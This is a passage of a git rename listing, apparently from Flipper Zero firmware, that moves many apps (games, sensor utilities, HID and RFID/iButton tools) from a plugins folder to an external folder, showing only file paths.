external}/dap_link/usb/usb_winusb.h (100%) rename applications/{plugins => external}/doom/README.md (100%) rename applications/{plugins => external}/doom/application.fam (100%) rename applications/{plugins => external}/doom/assets/door2.png (100%) rename applications/{plugins => external}/doom/assets/door_inv.png (100%) rename applications/{plugins => external}/doom/assets/fire_inv.png (100%) rename applications/{plugins => external}/doom/assets/fireball_inv.png (100%) rename applications/{plugins => external}/doom/assets/fireball_mask_inv.png (100%) rename applications/{plugins => external}/doom/assets/gradient_inv.png (100%) rename applications/{plugins => external}/doom/assets/gun_inv.png (100%) rename applications/{plugins => external}/doom/assets/gun_mask_inv.png (100%) rename applications/{plugins => external}/doom/assets/imp_inv.png (100%) rename applications/{plugins => external}/doom/assets/imp_mask_inv.png (100%) rename applications/{plugins => external}/doom/assets/item_inv.png (100%) rename applications/{plugins => external}/doom/assets/item_mask_inv.png (100%) rename applications/{plugins => external}/doom/assets/logo_inv.png (100%) rename applications/{plugins => external}/doom/assets/screenshot-imp2.jpg (100%) rename applications/{plugins => external}/doom/assets/screenshot-intro2.jpg (100%) rename applications/{plugins => external}/doom/assets/screenshot-medkit2.jpg (100%) rename applications/{plugins => external}/doom/assets/screenshot-start2.jpg (100%) rename applications/{plugins => external}/doom/assets/screenshot1.png (100%) rename applications/{plugins => external}/doom/assets/screenshot2.png (100%) rename applications/{plugins => external}/doom/assets/screenshot3.png (100%) rename applications/{plugins => external}/doom/compiled/assets_icons.c (100%) rename applications/{plugins => external}/doom/compiled/assets_icons.h (100%) rename applications/{plugins => external}/doom/constants.h (100%) rename applications/{plugins => external}/doom/display.h (100%) rename applications/{plugins => external}/doom/doom.c (100%) rename applications/{plugins => external}/doom/doom_10px.png (100%) rename applications/{plugins => external}/doom/doom_music_player_worker.c (100%) rename applications/{plugins => external}/doom/doom_music_player_worker.h (100%) rename applications/{plugins => external}/doom/entities.c (100%) rename applications/{plugins => external}/doom/entities.h (100%) rename applications/{plugins => external}/doom/level.h (100%) rename applications/{plugins => external}/doom/sound.h (100%) rename applications/{plugins => external}/doom/types.c (100%) rename applications/{plugins => external}/doom/types.h (100%) rename applications/{plugins => external}/dtmf_dolphin/LICENSE (100%) rename applications/{plugins => external}/dtmf_dolphin/README.md (100%) rename applications/{plugins => external}/dtmf_dolphin/application.fam (100%) rename applications/{plugins => external}/dtmf_dolphin/dtmf_dolphin.c (100%) rename applications/{plugins => external}/dtmf_dolphin/dtmf_dolphin_audio.c (100%) rename applications/{plugins => external}/dtmf_dolphin/dtmf_dolphin_audio.h (100%) rename applications/{plugins => external}/dtmf_dolphin/dtmf_dolphin_data.c (100%) rename applications/{plugins => external}/dtmf_dolphin/dtmf_dolphin_data.h (100%) rename applications/{plugins => external}/dtmf_dolphin/dtmf_dolphin_event.h (100%) rename applications/{plugins => external}/dtmf_dolphin/dtmf_dolphin_hal.c (100%) rename applications/{plugins => external}/dtmf_dolphin/dtmf_dolphin_hal.h (100%) rename applications/{plugins => external}/dtmf_dolphin/dtmf_dolphin_i.h (100%) rename applications/{plugins => external}/dtmf_dolphin/phone.png (100%) rename applications/{plugins => external}/dtmf_dolphin/pics/dialer.jpg (100%) rename applications/{plugins => external}/dtmf_dolphin/scenes/dtmf_dolphin_scene.c (100%) rename applications/{plugins => external}/dtmf_dolphin/scenes/dtmf_dolphin_scene.h (100%) rename applications/{plugins => external}/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h (100%) rename applications/{plugins => external}/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c (100%) rename applications/{plugins => external}/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c (100%) rename applications/{plugins => external}/dtmf_dolphin/views/dtmf_dolphin_common.h (100%) rename applications/{plugins => external}/dtmf_dolphin/views/dtmf_dolphin_dialer.c (100%) rename applications/{plugins => external}/dtmf_dolphin/views/dtmf_dolphin_dialer.h (100%) rename applications/{plugins => external}/esp8266_deauth/FlipperZeroWiFiDeauthModuleDefines.h (100%) rename applications/{plugins => external}/esp8266_deauth/application.fam (100%) rename applications/{plugins => external}/esp8266_deauth/esp8266_deauth.c (100%) rename applications/{plugins => external}/esp8266_deauth/wifi_10px.png (100%) rename applications/{plugins => external}/flappy_bird/application.fam (100%) rename applications/{plugins => external}/flappy_bird/assets/bird/frame_01.png (100%) rename applications/{plugins => external}/flappy_bird/assets/bird/frame_02.png (100%) rename applications/{plugins => external}/flappy_bird/assets/bird/frame_03.png (100%) rename applications/{plugins => external}/flappy_bird/assets/bird/frame_rate (100%) rename applications/{plugins => external}/flappy_bird/flappy_10px.png (100%) rename applications/{plugins => external}/flappy_bird/flappy_bird.c (100%) rename applications/{plugins => external}/flashlight/LICENSE (100%) rename applications/{plugins => external}/flashlight/README.md (100%) rename applications/{plugins => external}/flashlight/application.fam (100%) rename applications/{plugins => external}/flashlight/flash10px.png (100%) rename applications/{plugins => external}/flashlight/flashlight.c (100%) rename applications/{plugins => external}/flipfrid/LICENSE.md (100%) rename applications/{plugins => external}/flipfrid/README.md (100%) rename applications/{plugins => external}/flipfrid/application.fam (100%) rename applications/{plugins => external}/flipfrid/flipfrid.c (100%) rename applications/{plugins => external}/flipfrid/flipfrid.h (100%) rename applications/{plugins => external}/flipfrid/images/125_10px.png (100%) rename applications/{plugins => external}/flipfrid/rfid_10px.png (100%) rename applications/{plugins => external}/flipfrid/scene/flipfrid_scene_entrypoint.c (100%) rename applications/{plugins => external}/flipfrid/scene/flipfrid_scene_entrypoint.h (100%) rename applications/{plugins => external}/flipfrid/scene/flipfrid_scene_load_custom_uids.c (100%) rename applications/{plugins => external}/flipfrid/scene/flipfrid_scene_load_custom_uids.h (100%) rename applications/{plugins => external}/flipfrid/scene/flipfrid_scene_load_file.c (100%) rename applications/{plugins => external}/flipfrid/scene/flipfrid_scene_load_file.h (100%) rename applications/{plugins => external}/flipfrid/scene/flipfrid_scene_run_attack.c (100%) rename applications/{plugins => external}/flipfrid/scene/flipfrid_scene_run_attack.h (100%) rename applications/{plugins => external}/flipfrid/scene/flipfrid_scene_select_field.c (100%) rename applications/{plugins => external}/flipfrid/scene/flipfrid_scene_select_field.h (100%) rename applications/{plugins => external}/flipper_i2ctools/README.md (100%) rename applications/{plugins => external}/flipper_i2ctools/application.fam (100%) rename applications/{plugins => external}/flipper_i2ctools/i2cscanner.c (100%) rename applications/{plugins => external}/flipper_i2ctools/i2cscanner.h (100%) rename applications/{plugins => external}/flipper_i2ctools/i2csender.c (100%) rename applications/{plugins => external}/flipper_i2ctools/i2csender.h (100%) rename applications/{plugins => external}/flipper_i2ctools/i2csniffer.c (100%) rename applications/{plugins => external}/flipper_i2ctools/i2csniffer.h (100%) rename applications/{plugins => external}/flipper_i2ctools/i2ctools.c (100%) rename applications/{plugins => external}/flipper_i2ctools/i2ctools.gif (100%) rename applications/{plugins => external}/flipper_i2ctools/i2ctools.png (100%) rename applications/{plugins => external}/flipper_i2ctools/i2ctools_i.h (100%) rename applications/{plugins => external}/flipper_i2ctools/images/ButtonDown_7x4.png (100%) rename applications/{plugins => external}/flipper_i2ctools/images/ButtonLeft_4x7.png (100%) rename applications/{plugins => external}/flipper_i2ctools/images/ButtonRight_4x7.png (100%) rename applications/{plugins => external}/flipper_i2ctools/images/ButtonUp_7x4.png (100%) rename applications/{plugins => external}/flipper_i2ctools/images/Ok_btn_9x9.png (100%) rename applications/{plugins => external}/flipper_i2ctools/images/i2ctools_main_76x59.png (100%) rename applications/{plugins => external}/flipper_i2ctools/views/main_view.c (100%) rename applications/{plugins => external}/flipper_i2ctools/views/main_view.h (100%) rename applications/{plugins => external}/flipper_i2ctools/views/scanner_view.c (100%) rename applications/{plugins => external}/flipper_i2ctools/views/scanner_view.h (100%) rename applications/{plugins => external}/flipper_i2ctools/views/sender_view.c (100%) rename applications/{plugins => external}/flipper_i2ctools/views/sender_view.h (100%) rename applications/{plugins => external}/flipper_i2ctools/views/sniffer_view.c (100%) rename applications/{plugins => external}/flipper_i2ctools/views/sniffer_view.h (100%) rename applications/{plugins => external}/game15/README.md (100%) rename applications/{plugins => external}/game15/application.fam (100%) rename applications/{plugins => external}/game15/game15.c (100%) rename applications/{plugins => external}/game15/game15_10px.png (100%) rename applications/{plugins => external}/game15/images/Game15.png (100%) rename applications/{plugins => external}/game15/images/Game15Popup.png (100%) rename applications/{plugins => external}/game15/images/Game15Restore.png (100%) rename applications/{plugins => external}/game15/sandbox.c (100%) rename applications/{plugins => external}/game15/sandbox.h (100%) rename applications/{plugins => external}/game_2048/LICENSE (100%) rename applications/{plugins => external}/game_2048/README.md (100%) rename applications/{plugins => external}/game_2048/application.fam (100%) rename applications/{plugins => external}/game_2048/array_utils.c (100%) rename applications/{plugins => external}/game_2048/array_utils.h (100%) rename applications/{plugins => external}/game_2048/digits.h (100%) rename applications/{plugins => external}/game_2048/game_2048.c (100%) rename applications/{plugins => external}/game_2048/game_2048.png (100%) rename applications/{plugins => external}/game_2048/images/screenshot1.png (100%) rename applications/{plugins => external}/game_2048/images/screenshot2.png (100%) rename applications/{plugins => external}/game_of_life/application.fam (100%) rename applications/{plugins => external}/game_of_life/game_of_life.c (100%) rename applications/{plugins => external}/game_of_life/golIcon.png (100%) rename applications/{plugins => external}/geigercounter/application.fam (100%) rename applications/{plugins => external}/geigercounter/flipper_geiger.c (100%) rename applications/{plugins => external}/geigercounter/geiger.png (100%) rename applications/{plugins => external}/gpio_reader_a/GPIO_reader.c (100%) rename applications/{plugins => external}/gpio_reader_a/GPIO_reader_item.c (100%) rename applications/{plugins => external}/gpio_reader_a/GPIO_reader_item.h (100%) rename applications/{plugins => external}/gpio_reader_a/README.md (100%) rename applications/{plugins => external}/gpio_reader_a/application.fam (100%) rename applications/{plugins => external}/gpio_reader_a/icon.png (100%) rename applications/{plugins => external}/gpio_reader_b/LICENSE (100%) rename applications/{plugins => external}/gpio_reader_b/README.md (100%) rename applications/{plugins => external}/gpio_reader_b/application.fam (100%) rename applications/{plugins => external}/gpio_reader_b/gpio_app.c (100%) rename applications/{plugins => external}/gpio_reader_b/gpio_app.h (100%) rename applications/{plugins => external}/gpio_reader_b/gpio_app_i.h (100%) rename applications/{plugins => external}/gpio_reader_b/gpio_custom_event.h (100%) rename applications/{plugins => external}/gpio_reader_b/gpio_item.c (100%) rename applications/{plugins => external}/gpio_reader_b/gpio_item.h (100%) rename applications/{plugins => external}/gpio_reader_b/gpioreader.png (100%) rename applications/{plugins => external}/gpio_reader_b/icon.png (100%) rename applications/{plugins => external}/gpio_reader_b/scenes/gpio_scene.c (100%) rename applications/{plugins => external}/gpio_reader_b/scenes/gpio_scene.h (100%) rename applications/{plugins => external}/gpio_reader_b/scenes/gpio_scene_config.h (100%) rename applications/{plugins => external}/gpio_reader_b/scenes/gpio_scene_reader.c (100%) rename applications/{plugins => external}/gpio_reader_b/scenes/gpio_scene_start.c (100%) rename applications/{plugins => external}/gpio_reader_b/scenes/gpio_scene_test.c (100%) rename applications/{plugins => external}/gpio_reader_b/scenes/gpio_scene_usb_uart.c (100%) rename applications/{plugins => external}/gpio_reader_b/scenes/gpio_scene_usb_uart_close_rpc.c (100%) rename applications/{plugins => external}/gpio_reader_b/scenes/gpio_scene_usb_uart_config.c (100%) rename applications/{plugins => external}/gpio_reader_b/usb_uart_bridge.c (100%) rename applications/{plugins => external}/gpio_reader_b/usb_uart_bridge.h (100%) rename applications/{plugins => external}/gpio_reader_b/views/gpio_reader.c (100%) rename applications/{plugins => external}/gpio_reader_b/views/gpio_reader.h (100%) rename applications/{plugins => external}/gpio_reader_b/views/gpio_test.c (100%) rename applications/{plugins => external}/gpio_reader_b/views/gpio_test.h (100%) rename applications/{plugins => external}/gpio_reader_b/views/gpio_usb_uart.c (100%) rename applications/{plugins => external}/gpio_reader_b/views/gpio_usb_uart.h (100%) rename applications/{plugins => external}/gps_nmea_uart/LICENSE (100%) rename applications/{plugins => external}/gps_nmea_uart/README.md (100%) rename applications/{plugins => external}/gps_nmea_uart/application.fam (100%) rename applications/{plugins => external}/gps_nmea_uart/gps.c (100%) rename applications/{plugins => external}/gps_nmea_uart/gps_10px.png (100%) rename applications/{plugins => external}/gps_nmea_uart/gps_uart.c (100%) rename applications/{plugins => external}/gps_nmea_uart/gps_uart.h (100%) rename applications/{plugins => external}/gps_nmea_uart/minmea.c (100%) rename applications/{plugins => external}/gps_nmea_uart/minmea.h (100%) rename applications/{plugins => external}/gps_nmea_uart/ui.png (100%) rename applications/{plugins => external}/gps_nmea_uart/wiring.png (100%) rename applications/{plugins => external}/hc_sr04/application.fam (100%) rename applications/{plugins => external}/hc_sr04/dist_sensor10px.png (100%) rename applications/{plugins => external}/hc_sr04/hc_sr04.c (100%) rename applications/{plugins => external}/heap_defence_game/application.fam (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Background_128x64.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Box1_10x10.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Box2_10x10.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Box3_10x10.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Box4_10x10.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Box5_10x10.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Box6p_10x10.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Box7p_10x10.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Box8p_10x10.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Game_over_128x64.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_game_over_128x64/frame_01.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_game_over_128x64/frame_02.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_game_over_128x64/frame_03.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_game_over_128x64/frame_04.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_game_over_128x64/frame_05.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_game_over_128x64/frame_06.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_game_over_128x64/frame_07.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_game_over_128x64/frame_rate (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_01.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_02.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_rate (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_01.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_02.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_rate (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_left_10x20/frame_01.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_left_10x20/frame_02.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_left_10x20/frame_03.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_left_10x20/frame_04.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_left_10x20/frame_rate (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_right_10x20/frame_01.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_right_10x20/frame_02.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_right_10x20/frame_03.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_right_10x20/frame_04.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_right_10x20/frame_rate (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_start_128x64/frame_01.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_start_128x64/frame_02.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_start_128x64/frame_03.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_start_128x64/frame_04.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_start_128x64/frame_rate (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Person4_1_10x20.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Person4_2_10x20.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Person5_1_10x20.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Person5_2_10x20.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Start_128x64.png (100%) rename applications/{plugins => external}/heap_defence_game/box.png (100%) rename applications/{plugins => external}/heap_defence_game/heap_defence.c (100%) rename applications/{plugins => external}/heap_defence_game/hede_assets.c (100%) rename applications/{plugins => external}/heap_defence_game/hede_assets.h (100%) rename applications/{plugins => external}/hex_viewer/LICENSE (100%) rename applications/{plugins => external}/hex_viewer/application.fam (100%) rename applications/{plugins => external}/hex_viewer/hex_viewer.c (100%) rename applications/{plugins => external}/hex_viewer/icons/hex_10px.png (100%) rename applications/{plugins => external}/hid_app/application.fam (86%) rename applications/{plugins => external}/hid_app/assets/Arr_dwn_7x9.png (100%) rename applications/{plugins => external}/hid_app/assets/Arr_up_7x9.png (100%) rename applications/{plugins => external}/hid_app/assets/Ble_connected_15x15.png (100%) rename applications/{plugins => external}/hid_app/assets/Ble_disconnected_15x15.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonDown_7x4.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF10_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF11_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF12_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF1_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF2_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF3_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF4_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF5_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF6_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF7_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF8_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonF9_5x8.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonLeft_4x7.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonRight_4x7.png (100%) rename applications/{plugins => external}/hid_app/assets/ButtonUp_7x4.png (100%) rename applications/{plugins => external}/hid_app/assets/Button_18x18.png (100%) rename applications/{plugins => external}/hid_app/assets/Circles_47x47.png (100%) rename applications/{plugins => external}/hid_app/assets/Left_mouse_icon_9x9.png (100%) rename applications/{plugins => external}/hid_app/assets/Like_def_11x9.png (100%) rename applications/{plugins => external}/hid_app/assets/Like_pressed_17x17.png (100%) rename applications/{plugins => external}/hid_app/assets/Ok_btn_9x9.png (100%) rename applications/{plugins => external}/hid_app/assets/Ok_btn_pressed_13x13.png (100%) rename applications/{plugins => external}/hid_app/assets/Pin_arrow_down_7x9.png (100%) rename applications/{plugins => external}/hid_app/assets/Pin_arrow_left_9x7.png (100%) rename applications/{plugins => external}/hid_app/assets/Pin_arrow_right_9x7.png (100%) rename applications/{plugins => external}/hid_app/assets/Pin_arrow_up_7x9.png (100%) rename applications/{plugins => external}/hid_app/assets/Pin_back_arrow_10x8.png (100%) rename applications/{plugins => external}/hid_app/assets/Pressed_Button_13x13.png (100%) rename applications/{plugins => external}/hid_app/assets/Right_mouse_icon_9x9.png (100%) rename applications/{plugins => external}/hid_app/assets/Space_65x18.png (100%) rename applications/{plugins => external}/hid_app/assets/Voldwn_6x6.png (100%) rename applications/{plugins => external}/hid_app/assets/Volup_8x6.png (100%) rename applications/{plugins => external}/hid_app/hid.c (100%) rename applications/{plugins => external}/hid_app/hid.h (100%) rename applications/{plugins => external}/hid_app/hid_ble_10px.png (100%) rename applications/{plugins => external}/hid_app/hid_usb_10px.png (100%) rename applications/{plugins => external}/hid_app/views.h (100%) rename applications/{plugins => external}/hid_app/views/hid_keyboard.c (100%) rename applications/{plugins => external}/hid_app/views/hid_keyboard.h (100%) rename applications/{plugins => external}/hid_app/views/hid_keynote.c (100%) rename applications/{plugins => external}/hid_app/views/hid_keynote.h (100%) rename applications/{plugins => external}/hid_app/views/hid_media.c (100%) rename applications/{plugins => external}/hid_app/views/hid_media.h (100%) rename applications/{plugins => external}/hid_app/views/hid_mouse.c (100%) rename applications/{plugins => external}/hid_app/views/hid_mouse.h (100%) rename applications/{plugins => external}/hid_app/views/hid_mouse_jiggler.c (100%) rename applications/{plugins => external}/hid_app/views/hid_mouse_jiggler.h (100%) rename applications/{plugins => external}/hid_app/views/hid_tiktok.c (100%) rename applications/{plugins => external}/hid_app/views/hid_tiktok.h (100%) rename applications/{plugins => external}/ibtn_fuzzer/LICENSE.md (100%) rename applications/{plugins => external}/ibtn_fuzzer/application.fam (100%) rename applications/{plugins => external}/ibtn_fuzzer/ibtnfuzzer.c (100%) rename applications/{plugins => external}/ibtn_fuzzer/ibtnfuzzer.h (100%) rename applications/{plugins => external}/ibtn_fuzzer/ibutt_10px.png (100%) rename applications/{plugins => external}/ibtn_fuzzer/images/ibutt_10px.png (100%) rename applications/{plugins => external}/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.c (100%) rename applications/{plugins => external}/ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.h (100%) rename applications/{plugins => external}/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.c (100%) rename applications/{plugins => external}/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_custom_uids.h (100%) rename applications/{plugins => external}/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.c (100%) rename applications/{plugins => external}/ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.h (100%) rename applications/{plugins => external}/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.c (100%) rename applications/{plugins => external}/ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.h (100%) rename applications/{plugins => external}/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.c (100%) rename applications/{plugins => external}/ibtn_fuzzer/scene/ibtnfuzzer_scene_select_field.h (100%) rename applications/{plugins => external}/ifttt/application.fam (100%) rename applications/{plugins => external}/ifttt/icon.png (100%) rename applications/{plugins => external}/ifttt/ifttt_virtual_button.c (100%) rename applications/{plugins => external}/ifttt/ifttt_virtual_button.h (100%) rename applications/{plugins => external}/ifttt/scenes/virtual_button_scene.c (100%) rename applications/{plugins => external}/ifttt/scenes/virtual_button_scene.h (100%) rename applications/{plugins => external}/ifttt/scenes/virtual_button_scene_about.c (100%) rename applications/{plugins => external}/ifttt/scenes/virtual_button_scene_config.h (100%) rename applications/{plugins => external}/ifttt/scenes/virtual_button_scene_send.c (100%) rename applications/{plugins => external}/ifttt/scenes/virtual_button_scene_start.c (100%) rename applications/{plugins => external}/ifttt/views/about_view.c (100%) rename applications/{plugins => external}/ifttt/views/about_view.h (100%) rename applications/{plugins => external}/ifttt/views/send_view.c (100%) rename applications/{plugins => external}/ifttt/views/send_view.h (100%) rename applications/{plugins => external}/ir_remote/application.fam (100%) rename applications/{plugins => external}/ir_remote/images/ButtonDown_7x4.png (100%) rename applications/{plugins => external}/ir_remote/images/ButtonLeft_4x7.png (100%) rename applications/{plugins => external}/ir_remote/images/ButtonRight_4x7.png (100%) rename applications/{plugins => external}/ir_remote/images/ButtonUp_7x4.png (100%) rename applications/{plugins => external}/ir_remote/images/Ok_btn_9x9.png (100%) rename applications/{plugins => external}/ir_remote/images/back_10px.png (100%) rename applications/{plugins => external}/ir_remote/images/sub1_10px.png (100%) rename applications/{plugins => external}/ir_remote/infrared_remote.c (100%) rename applications/{plugins => external}/ir_remote/infrared_remote.h (100%) rename applications/{plugins => external}/ir_remote/infrared_remote_app.c (100%) rename applications/{plugins => external}/ir_remote/infrared_remote_button.c (100%) rename applications/{plugins => external}/ir_remote/infrared_remote_button.h (100%) rename applications/{plugins => external}/ir_remote/infrared_signal.c (100%) rename applications/{plugins => external}/ir_remote/infrared_signal.h (100%) rename applications/{plugins => external}/ir_remote/ir_10px.png (100%) rename applications/{plugins => external}/lightmeter/LICENSE (100%) rename applications/{plugins => external}/lightmeter/README.md (100%) rename applications/{plugins => external}/lightmeter/application.fam (100%) rename applications/{plugins => external}/lightmeter/gui/scenes/config/lightmeter_scene.c (100%) rename applications/{plugins => external}/lightmeter/gui/scenes/config/lightmeter_scene.h (100%) rename applications/{plugins => external}/lightmeter/gui/scenes/config/lightmeter_scene_config.h (100%) rename applications/{plugins => external}/lightmeter/gui/scenes/lightmeter_scene_about.c (100%) rename applications/{plugins => external}/lightmeter/gui/scenes/lightmeter_scene_config.c (100%) rename applications/{plugins => external}/lightmeter/gui/scenes/lightmeter_scene_help.c (100%) rename applications/{plugins => external}/lightmeter/gui/scenes/lightmeter_scene_main.c (100%) rename applications/{plugins => external}/lightmeter/gui/views/main_view.c (100%) rename applications/{plugins => external}/lightmeter/gui/views/main_view.h (100%) rename applications/{plugins => external}/lightmeter/icons/T_10x14.png (100%) rename applications/{plugins => external}/lightmeter/icons/f_10x14.png (100%) rename applications/{plugins => external}/lightmeter/lib/BH1750/BH1750.c (100%) rename applications/{plugins => external}/lightmeter/lib/BH1750/BH1750.h (100%) rename applications/{plugins => external}/lightmeter/lib/BH1750/LICENSE (100%) rename applications/{plugins => external}/lightmeter/lib/BH1750/README.md (100%) rename applications/{plugins => external}/lightmeter/lib/BH1750/docs/BH1750.pdf (100%) rename applications/{plugins => external}/lightmeter/lightmeter.c (100%) rename applications/{plugins => external}/lightmeter/lightmeter.h (100%) rename applications/{plugins => external}/lightmeter/lightmeter.png (100%) rename applications/{plugins => external}/lightmeter/lightmeter_config.h (100%) rename applications/{plugins => external}/lightmeter/lightmeter_helper.c (100%) rename applications/{plugins => external}/lightmeter/lightmeter_helper.h (100%) rename applications/{plugins => external}/mandelbrot/Mandelbrot.png (100%) rename applications/{plugins => external}/mandelbrot/application.fam (100%) rename applications/{plugins => external}/mandelbrot/mandelbrot.c (100%) rename applications/{plugins => external}/metronome/README.md (100%) rename applications/{plugins => external}/metronome/application.fam (100%) rename applications/{plugins => external}/metronome/gui_extensions.c (100%) rename applications/{plugins => external}/metronome/gui_extensions.h (100%) rename applications/{plugins => external}/metronome/images/ButtonUp_7x4.png (100%) rename applications/{plugins => external}/metronome/img/screenshot.png (100%) rename applications/{plugins => external}/metronome/img/wave_left_4x14.png (100%) rename applications/{plugins => external}/metronome/img/wave_right_4x14.png (100%) rename applications/{plugins => external}/metronome/metronome.c (100%) rename applications/{plugins => external}/metronome/metronome_icon.png (100%) rename applications/{plugins => external}/minesweeper/LICENSE (100%) rename applications/{plugins => external}/minesweeper/README.md (100%) rename applications/{plugins => external}/minesweeper/application.fam (100%) rename applications/{plugins => external}/minesweeper/assets.h (100%) rename applications/{plugins => external}/minesweeper/assets/asset (100%) rename applications/{plugins => external}/minesweeper/assets/mockup.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_0.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_0.xbm (100%) rename applications/{plugins => external}/minesweeper/assets/tile_1.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_1.xbm (100%) rename applications/{plugins => external}/minesweeper/assets/tile_2.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_2.xbm (100%) rename applications/{plugins => external}/minesweeper/assets/tile_3.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_3.xbm (100%) rename applications/{plugins => external}/minesweeper/assets/tile_4.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_4.xbm (100%) rename applications/{plugins => external}/minesweeper/assets/tile_5.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_5.xbm (100%) rename applications/{plugins => external}/minesweeper/assets/tile_6.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_6.xbm (100%) rename applications/{plugins => external}/minesweeper/assets/tile_7.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_7.xbm (100%) rename applications/{plugins => external}/minesweeper/assets/tile_8.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_8.xbm (100%) rename applications/{plugins => external}/minesweeper/assets/tile_empty.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_flag.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_flag.xbm (100%) rename applications/{plugins => external}/minesweeper/assets/tile_mine.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_mine.xbm (100%) rename applications/{plugins => external}/minesweeper/assets/tile_uncleared.png (100%) rename applications/{plugins => external}/minesweeper/assets/tile_uncleared.xbm (100%) rename applications/{plugins => external}/minesweeper/img/screenshot.png (100%) rename applications/{plugins => external}/minesweeper/minesweeper.c (100%) rename applications/{plugins => external}/minesweeper/minesweeper_icon.png (100%) rename applications/{plugins => external}/morse_code/application.fam (100%) rename applications/{plugins => external}/morse_code/morse_code.c (100%) rename applications/{plugins => external}/morse_code/morse_code_10px.png (100%) rename applications/{plugins => external}/morse_code/morse_code_worker.c (100%) rename applications/{plugins => external}/morse_code/morse_code_worker.h (100%) rename applications/{plugins => external}/mousejacker/application.fam (100%) rename applications/{plugins => external}/mousejacker/images/badusb_10px.png (100%) rename applications/{plugins => external}/mousejacker/images/sub1_10px.png (100%) rename applications/{plugins => external}/mousejacker/lib/nrf24/nrf24.c (100%) rename applications/{plugins => external}/mousejacker/lib/nrf24/nrf24.h (100%) rename applications/{plugins => external}/mousejacker/mouse_10px.png (100%) rename applications/{plugins => 